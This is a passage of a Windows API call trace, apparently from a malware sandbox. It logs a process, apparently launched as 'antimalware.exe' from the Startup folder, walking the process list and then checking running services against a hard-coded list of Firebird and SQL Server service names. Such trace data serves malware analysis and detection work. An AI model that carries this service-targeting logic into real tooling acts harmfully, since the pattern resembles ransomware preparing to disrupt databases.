	[0132.621] Process32NextW (in: hSnapshot=0x2a0, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0132.622] lstrlenW (lpString="svchost.exe") returned 11
	[0132.622] Process32NextW (in: hSnapshot=0x2a0, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0132.622] lstrlenW (lpString="svchost.exe") returned 11
	[0132.622] Process32NextW (in: hSnapshot=0x2a0, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x38c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0132.623] lstrlenW (lpString="dwm.exe") returned 7
	[0132.623] Process32NextW (in: hSnapshot=0x2a0, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0132.624] lstrlenW (lpString="svchost.exe") returned 11
	[0132.624] Process32NextW (in: hSnapshot=0x2a0, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0132.625] lstrlenW (lpString="svchost.exe") returned 11
	[0132.625] Process32NextW (in: hSnapshot=0x2a0, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0132.626] lstrlenW (lpString="svchost.exe") returned 11
	[0132.626] Process32NextW (in: hSnapshot=0x2a0, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3f, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0132.626] lstrlenW (lpString="svchost.exe") returned 11
	[0132.626] Process32NextW (in: hSnapshot=0x2a0, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0132.627] lstrlenW (lpString="svchost.exe") returned 11
	[0132.627] Process32NextW (in: hSnapshot=0x2a0, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0132.628] lstrlenW (lpString="svchost.exe") returned 11
	[0132.628] Process32NextW (in: hSnapshot=0x2a0, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0132.629] lstrlenW (lpString="svchost.exe") returned 11
	[0132.629] Process32NextW (in: hSnapshot=0x2a0, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x534, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0132.630] lstrlenW (lpString="svchost.exe") returned 11
	[0132.630] Process32NextW (in: hSnapshot=0x2a0, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0132.631] lstrlenW (lpString="svchost.exe") returned 11
	[0132.631] Process32NextW (in: hSnapshot=0x2a0, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0132.631] lstrlenW (lpString="svchost.exe") returned 11
	[0132.632] Process32NextW (in: hSnapshot=0x2a0, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0132.632] lstrlenW (lpString="spoolsv.exe") returned 11
	[0132.632] Process32NextW (in: hSnapshot=0x2a0, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x630, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0132.633] lstrlenW (lpString="svchost.exe") returned 11
	[0132.634] Process32NextW (in: hSnapshot=0x2a0, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x504, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0132.634] lstrlenW (lpString="audiodg.exe") returned 11
	[0132.634] Process32NextW (in: hSnapshot=0x2a0, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x710, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0132.635] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0132.635] Process32NextW (in: hSnapshot=0x2a0, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0132.636] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0132.636] Process32NextW (in: hSnapshot=0x2a0, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0132.637] lstrlenW (lpString="sihost.exe") returned 10
	[0132.637] Process32NextW (in: hSnapshot=0x2a0, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0132.637] lstrlenW (lpString="Memory Compression") returned 18
	[0132.638] Process32NextW (in: hSnapshot=0x2a0, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0132.638] lstrlenW (lpString="svchost.exe") returned 11
	[0132.638] Process32NextW (in: hSnapshot=0x2a0, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x878, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=6, dwFlags=0x0, szExeFile="MDMAgent.exe")) returned 1
	[0132.639] lstrlenW (lpString="MDMAgent.exe") returned 12
	[0132.639] Process32NextW (in: hSnapshot=0x2a0, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0132.640] lstrlenW (lpString="taskhostw.exe") returned 13
	[0132.640] Process32NextW (in: hSnapshot=0x2a0, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x190, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0132.641] lstrlenW (lpString="msoia.exe") returned 9
	[0132.641] Process32NextW (in: hSnapshot=0x2a0, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x904, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x190, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0132.642] lstrlenW (lpString="taskhostw.exe") returned 13
	[0132.642] Process32NextW (in: hSnapshot=0x2a0, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0x9a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0132.642] lstrlenW (lpString="explorer.exe") returned 12
	[0132.642] Process32NextW (in: hSnapshot=0x2a0, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0132.643] lstrlenW (lpString="SearchUI.exe") returned 12
	[0132.643] Process32NextW (in: hSnapshot=0x2a0, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0132.644] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0132.644] Process32NextW (in: hSnapshot=0x2a0, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0132.645] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0132.645] Process32NextW (in: hSnapshot=0x2a0, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1
	[0132.645] lstrlenW (lpString="mobsync.exe") returned 11
	[0132.645] Process32NextW (in: hSnapshot=0x2a0, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0132.646] lstrlenW (lpString="svchost.exe") returned 11
	[0132.646] Process32NextW (in: hSnapshot=0x2a0, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0132.647] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0132.647] Process32NextW (in: hSnapshot=0x2a0, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x9b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe")) returned 1
	[0132.648] lstrlenW (lpString="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned 82
	[0132.648] Process32NextW (in: hSnapshot=0x2a0, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0133.134] lstrlenW (lpString="cmd.exe") returned 7
	[0133.134] Process32NextW (in: hSnapshot=0x2a0, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdf8, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0133.135] lstrlenW (lpString="conhost.exe") returned 11
	[0133.135] Process32NextW (in: hSnapshot=0x2a0, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdf8, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0
	[0133.135] CloseHandle (hObject=0x2a0) returned 1
	[0133.136] Sleep (dwMilliseconds=0x1f4) 
	[0133.791] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x52d9a0
	[0133.792] EnumServicesStatusExW (in: hSCManager=0x52d9a0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0) returned 0
	[0133.793] GetLastError () returned 0xea
	[0133.793] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1b58) returned 0x5df960
	[0133.793] EnumServicesStatusExW (in: hSCManager=0x52d9a0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5df960, cbBufSize=0x1b58, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5df960, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0) returned 1
	[0133.794] CloseServiceHandle (hSCObject=0x52d9a0) returned 1
	[0133.797] lstrlenW (lpString="AppXSvc") returned 7
	[0133.797] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0133.797] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0133.797] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0133.797] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0133.797] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0133.797] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0133.797] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0133.797] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0133.797] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0133.797] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0133.797] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0133.797] lstrlenW (lpString="Audiosrv") returned 8
	[0133.797] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0133.797] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0133.797] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0133.797] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0133.797] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0133.797] lstrlenW (lpString="BFE") returned 3
	[0133.797] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0133.797] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0133.798] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0133.798] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0133.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0133.798] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0133.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0133.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0133.798] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0133.798] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0133.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0133.798] lstrlenW (lpString="CDPSvc") returned 6
	[0133.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0133.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0133.798] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0133.798] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0133.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0133.798] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0133.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0133.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0133.798] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0133.798] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0133.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0133.798] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0133.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0133.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0133.798] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0133.798] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0133.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0133.799] lstrlenW (lpString="CryptSvc") returned 8
	[0133.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0133.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0133.799] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0133.799] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0133.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0133.799] lstrlenW (lpString="DcomLaunch") returned 10
	[0133.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0133.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0133.799] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0133.799] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0133.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0133.799] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0133.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0133.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0133.799] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0133.799] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0133.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0133.799] lstrlenW (lpString="Dhcp") returned 4
	[0133.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0133.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0133.799] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0133.799] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0133.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0133.800] lstrlenW (lpString="Dnscache") returned 8
	[0133.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0133.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0133.800] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0133.800] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0133.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0133.800] lstrlenW (lpString="DPS") returned 3
	[0133.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0133.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0133.800] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0133.800] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0133.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0133.800] lstrlenW (lpString="DusmSvc") returned 7
	[0133.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0133.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0133.800] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0133.800] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0133.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0133.800] lstrlenW (lpString="EventLog") returned 8
	[0133.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0133.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0133.800] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0133.800] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0133.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0133.800] lstrlenW (lpString="EventSystem") returned 11
	[0133.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0133.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0133.801] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0133.801] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0133.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0133.801] lstrlenW (lpString="FontCache") returned 9
	[0133.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0133.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0133.801] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0133.801] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0133.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0133.801] lstrlenW (lpString="gpsvc") returned 5
	[0133.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0133.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0133.801] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0133.801] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0133.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0133.801] lstrlenW (lpString="iphlpsvc") returned 8
	[0133.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0133.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0133.801] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0133.801] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0133.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0133.801] lstrlenW (lpString="KeyIso") returned 6
	[0133.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0133.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0133.801] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0133.801] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0133.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0133.802] lstrlenW (lpString="LanmanServer") returned 12
	[0133.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0133.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0133.802] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0133.802] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0133.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0133.802] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0133.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0133.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0133.802] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0133.802] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0133.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0133.802] lstrlenW (lpString="lfsvc") returned 5
	[0133.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0133.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0133.802] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
